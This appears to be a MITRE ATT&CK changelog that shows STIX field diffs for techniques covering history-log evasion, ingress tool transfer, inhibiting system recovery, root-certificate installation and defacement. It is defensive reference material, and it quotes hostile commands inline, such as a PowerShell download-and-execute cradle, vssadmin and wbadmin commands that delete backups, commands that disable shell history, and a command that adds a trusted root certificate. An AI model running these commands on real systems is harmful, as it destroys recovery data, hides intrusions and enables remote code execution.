On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) | Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging. |
| external_references[1]['source_name'] | capec | Sophos PowerShell command audit |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/13.html | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit |
| external_references[3]['source_name'] | Sophos PowerShell command audit | Sophos PowerShell Command History Forensics |
| external_references[3]['description'] | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. |
| external_references[3]['url'] | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics |
| external_references[4]['source_name'] | Sophos PowerShell Command History Forensics | capec |
| external_references[4]['url'] | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics | https://capec.mitre.org/data/definitions/13.html |
| x_mitre_data_sources[0] | PowerShell logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_detection | Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. | Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Austin Clark, @c2defense | |
| x_mitre_platforms | Network |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:03:09.766000+00:00 | 2022-04-28 16:07:48.062000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | Application Log: Application Log Content |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Anti-virus | |
| x_mitre_data_sources | Binary file metadata |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may transfer tools or other files from an extern | t | 1 | Adversaries may transfer tools or other files from an extern |
| > | al system into a compromised environment. Files may be copie | > | al system into a compromised environment. Tools or files may | ||
| > | d from an external adversary controlled system through the c | > | be copied from an external adversary-controlled system to t | ||
| > | ommand and control channel to bring tools into the victim ne | > | he victim network through the command and control channel or | ||
| > | twork or through alternate protocols with another tool such | > | through alternate protocols such as [ftp](https://attack.mi | ||
| > | as FTP. Files can also be copied over on Mac and Linux with | > | tre.org/software/S0095). Once present, adversaries may also | ||
| > | native tools like scp, rsync, and sftp. | > | transfer/spread tools between victim devices within a compro | ||
| > | mised environment (i.e. [Lateral Tool Transfer](https://atta | ||||
| > | ck.mitre.org/techniques/T1570)). Files can also be transfe | ||||
| > | rred using various [Web Service](https://attack.mitre.org/te | ||||
| > | chniques/T1102)s as well as native or otherwise present tool | ||||
| > | s on the victim system.(Citation: PTSecurity Cobalt Dec 2016 | ||||
| > | ) On Windows, adversaries may use various utilities to down | ||||
| > | load tools, such as `copy`, `finger`, and [PowerShell](https | ||||
| > | ://attack.mitre.org/techniques/T1059/001) commands such as < | ||||
| > | code>IEX(New-Object Net.WebClient).downloadString()</code> a | ||||
| > | nd <code>Invoke-WebRequest</code>. On Linux and macOS system | ||||
| > | s, a variety of utilities also exist, such as `curl`, `scp`, | ||||
| > | `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1 | ||||
| > | 105_lolbas) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['John Page (aka hyp3rlinx), ApparitionSec'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 15:42:48.595000+00:00 | 2022-05-20 17:38:35.985000+00:00 |
| description | Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. | Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).
Files can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)
On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) |
| x_mitre_data_sources[0] | Process command-line parameters | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | File monitoring | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | File: File Creation |
| x_mitre_data_sources[3] | Process use of network | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) | Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 't1105_lolbas', 'description': 'LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.', 'url': 'https://lolbas-project.github.io/#t1105'} | |
| external_references | {'source_name': 'PTSecurity Cobalt Dec 2016', 'description': 'Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.', 'url': 'https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may delete or remove built-in operating system d | t | 1 | Adversaries may delete or remove built-in operating system d |
| > | ata and turn off services designed to aid in the recovery of | > | ata and turn off services designed to aid in the recovery of | ||
| > | a corrupted system to prevent recovery.(Citation: Talos Oly | > | a corrupted system to prevent recovery.(Citation: Talos Oly | ||
| > | mpic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operat | > | mpic Destroyer 2018)(Citation: FireEye WannaCry 2017) This m | ||
| > | ing systems may contain features that can help fix corrupted | > | ay deny access to available backups and recovery options. O | ||
| > | systems, such as a backup catalog, volume shadow copies, an | > | perating systems may contain features that can help fix corr | ||
| > | d automatic repair features. Adversaries may disable or dele | > | upted systems, such as a backup catalog, volume shadow copie | ||
| > | te system recovery features to augment the effects of [Data | > | s, and automatic repair features. Adversaries may disable or | ||
| > | Destruction](https://attack.mitre.org/techniques/T1485) and | > | delete system recovery features to augment the effects of [ | ||
| > | [Data Encrypted for Impact](https://attack.mitre.org/techniq | > | Data Destruction](https://attack.mitre.org/techniques/T1485) | ||
| > | ues/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation | > | and [Data Encrypted for Impact](https://attack.mitre.org/te | ||
| > | : FireEye WannaCry 2017) A number of native Windows utiliti | > | chniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Cit | ||
| > | es have been used by adversaries to disable or delete system | > | ation: FireEye WannaCry 2017) A number of native Windows ut | ||
| > | recovery features: * <code>vssadmin.exe</code> can be used | > | ilities have been used by adversaries to disable or delete s | ||
| > | to delete all volume shadow copies on a system - <code>vssa | > | ystem recovery features: * <code>vssadmin.exe</code> can be | ||
| > | dmin.exe delete shadows /all /quiet</code> * [Windows Manage | > | used to delete all volume shadow copies on a system - <code | ||
| > | ment Instrumentation](https://attack.mitre.org/techniques/T1 | > | >vssadmin.exe delete shadows /all /quiet</code> * [Windows M | ||
| > | 047) can be used to delete volume shadow copies - <code>wmic | > | anagement Instrumentation](https://attack.mitre.org/techniqu | ||
| > | shadowcopy delete</code> * <code>wbadmin.exe</code> can be | > | es/T1047) can be used to delete volume shadow copies - <code | ||
| > | used to delete the Windows Backup Catalog - <code>wbadmin.ex | > | >wmic shadowcopy delete</code> * <code>wbadmin.exe</code> ca | ||
| > | e delete catalog -quiet</code> * <code>bcdedit.exe</code> ca | > | n be used to delete the Windows Backup Catalog - <code>wbadm | ||
| > | n be used to disable automatic Windows recovery features by | > | in.exe delete catalog -quiet</code> * <code>bcdedit.exe</cod | ||
| > | modifying boot configuration data - <code>bcdedit.exe /set { | > | e> can be used to disable automatic Windows recovery feature | ||
| > | default} bootstatuspolicy ignoreallfailures & bcdedit /set { | > | s by modifying boot configuration data - <code>bcdedit.exe / | ||
| > | default} recoveryenabled no</code> | > | set {default} bootstatuspolicy ignoreallfailures & bcdedit / | ||
| > | set {default} recoveryenabled no</code> | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'root', 'SYSTEM', 'User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:33:52.512000+00:00 | 2022-04-19 23:26:59.186000+00:00 |
| description | Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no | Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.
Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)
A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:
* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet
* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete
* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet
* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no |
| external_references[1]['source_name'] | Talos Olympic Destroyer 2018 | FireEye WannaCry 2017 |
| external_references[1]['description'] | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. | Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. |
| external_references[1]['url'] | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html | https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html |
| external_references[2]['source_name'] | FireEye WannaCry 2017 | Talos Olympic Destroyer 2018 |
| external_references[2]['description'] | Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019. | Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html | https://blog.talosintelligence.com/2018/02/olympic-destroyer.html |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Services | Command: Command Execution |
| x_mitre_data_sources[2] | Windows event logs | Service: Service Metadata |
| x_mitre_data_sources[3] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[4] | Process monitoring | File: File Deletion |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install a root certificate on a compromised | t | 1 | Adversaries may install a root certificate on a compromised |
| > | system to avoid warnings when connecting to adversary contro | > | system to avoid warnings when connecting to adversary contro | ||
| > | lled web servers. Root certificates are used in public key c | > | lled web servers. Root certificates are used in public key c | ||
| > | ryptography to identify a root certificate authority (CA). W | > | ryptography to identify a root certificate authority (CA). W | ||
| > | hen a root certificate is installed, the system or applicati | > | hen a root certificate is installed, the system or applicati | ||
| > | on will trust certificates in the root's chain of trust that | > | on will trust certificates in the root's chain of trust that | ||
| > | have been signed by the root certificate. (Citation: Wikipe | > | have been signed by the root certificate.(Citation: Wikiped | ||
| > | dia Root Certificate) Certificates are commonly used for est | > | ia Root Certificate) Certificates are commonly used for esta | ||
| > | ablishing secure TLS/SSL communications within a web browser | > | blishing secure TLS/SSL communications within a web browser. | ||
| > | . When a user attempts to browse a website that presents a c | > | When a user attempts to browse a website that presents a ce | ||
| > | ertificate that is not trusted an error message will be disp | > | rtificate that is not trusted an error message will be displ | ||
| > | layed to warn the user of the security risk. Depending on th | > | ayed to warn the user of the security risk. Depending on the | ||
| > | e security settings, the browser may not allow the user to e | > | security settings, the browser may not allow the user to es | ||
| > | stablish a connection to the website. Installation of a roo | > | tablish a connection to the website. Installation of a root | ||
| > | t certificate on a compromised system would give an adversar | > | certificate on a compromised system would give an adversary | ||
| > | y a way to degrade the security of that system. Adversaries | > | a way to degrade the security of that system. Adversaries h | ||
| > | have used this technique to avoid security warnings promptin | > | ave used this technique to avoid security warnings prompting | ||
| > | g users when compromised systems connect over HTTPS to adver | > | users when compromised systems connect over HTTPS to advers | ||
| > | sary controlled web servers that spoof legitimate websites i | > | ary controlled web servers that spoof legitimate websites in | ||
| > | n order to collect login credentials. (Citation: Operation E | > | order to collect login credentials.(Citation: Operation Emm | ||
| > | mmental) Atypical root certificates have also been pre-inst | > | ental) Atypical root certificates have also been pre-instal | ||
| > | alled on systems by the manufacturer or in the software supp | > | led on systems by the manufacturer or in the software supply | ||
| > | ly chain and were used in conjunction with malware/adware to | > | chain and were used in conjunction with malware/adware to p | ||
| > | provide a man-in-the-middle capability for intercepting inf | > | rovide [Adversary-in-the-Middle](https://attack.mitre.org/te | ||
| > | ormation transmitted over secure TLS/SSL communications. (Ci | > | chniques/T1557) capability for intercepting information tran | ||
| > | tation: Kaspersky Superfish) Root certificates (and their a | > | smitted over secure TLS/SSL communications.(Citation: Kasper | ||
| > | ssociated chains) can also be cloned and reinstalled. Cloned | > | sky Superfish) Root certificates (and their associated chai | ||
| > | certificate chains will carry many of the same metadata cha | > | ns) can also be cloned and reinstalled. Cloned certificate c | ||
| > | racteristics of the source and can be used to sign malicious | > | hains will carry many of the same metadata characteristics o | ||
| > | code that may then bypass signature validation tools (ex: S | > | f the source and can be used to sign malicious code that may | ||
| > | ysinternals, antivirus, etc.) used to block execution and/or | > | then bypass signature validation tools (ex: Sysinternals, a | ||
| > | uncover artifacts of Persistence. (Citation: SpectorOps Cod | > | ntivirus, etc.) used to block execution and/or uncover artif | ||
| > | e Signing Dec 2017) In macOS, the Ay MaMi malware uses <cod | > | acts of Persistence.(Citation: SpectorOps Code Signing Dec 2 | ||
| > | e>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Lib | > | 017) In macOS, the Ay MaMi malware uses <code>/usr/bin/secu | ||
| > | rary/Keychains/System.keychain /path/to/malicious/cert</code | > | rity add-trusted-cert -d -r trustRoot -k /Library/Keychains/ | ||
| > | > to install a malicious certificate as a trusted root certi | > | System.keychain /path/to/malicious/cert</code> to install a | ||
| > | ficate into the system keychain. (Citation: objective-see ay | > | malicious certificate as a trusted root certificate into the | ||
| > | mami 2018) | > | system keychain.(Citation: objective-see ay mami 2018) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 20:31:11.389000+00:00 | 2021-08-25 19:39:07.001000+00:00 |
| description | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) | Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018) |
| x_mitre_data_sources[0] | SSL/TLS inspection | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[1] | Digital certificate logs | Process: Process Creation |
| x_mitre_detection | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 | A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)
* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25
* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85
* 3B1EFD3A66EA28B16697394703A72CA340A05BD5
* 7F88CD7223F3C813818C994614A89C99FA3B5247
* 8F43288AD272F3103B6FB1428485EA3014C0BCFE
* A43489159A520F0D93D032CCAF37E7FE20A8B419
* BE36A4562FB2EE05DBB3D32323ADF445084ED656
* CDD4EEAE6000AC7F40C3802C171E30148030C072 |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may deface systems internal to an organization | t | 1 | An adversary may deface systems internal to an organization |
| > | in an attempt to intimidate or mislead users. This may take | > | in an attempt to intimidate or mislead users, thus discredit | ||
| > | the form of modifications to internal websites, or directly | > | ing the integrity of the systems. This may take the form of | ||
| > | to user systems with the replacement of the desktop wallpape | > | modifications to internal websites, or directly to user syst | ||
| > | r.(Citation: Novetta Blockbuster) Disturbing or offensive im | > | ems with the replacement of the desktop wallpaper.(Citation: | ||
| > | ages may be used as a part of [Internal Defacement](https:// | > | Novetta Blockbuster) Disturbing or offensive images may be | ||
| > | attack.mitre.org/techniques/T1491/001) in order to cause use | > | used as a part of [Internal Defacement](https://attack.mitre | ||
| > | r discomfort, or to pressure compliance with accompanying me | > | .org/techniques/T1491/001) in order to cause user discomfort | ||
| > | ssages. Since internally defacing systems exposes an adversa | > | , or to pressure compliance with accompanying messages. Sinc | ||
| > | ry's presence, it often takes place after other intrusion go | > | e internally defacing systems exposes an adversary's presenc | ||
| > | als have been accomplished.(Citation: Novetta Blockbuster De | > | e, it often takes place after other intrusion goals have bee | ||
| > | structive Malware) | > | n accomplished.(Citation: Novetta Blockbuster Destructive Ma | ||
| > | lware) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 22:57:04.784000+00:00 | 2022-03-25 19:31:24.482000+00:00 |
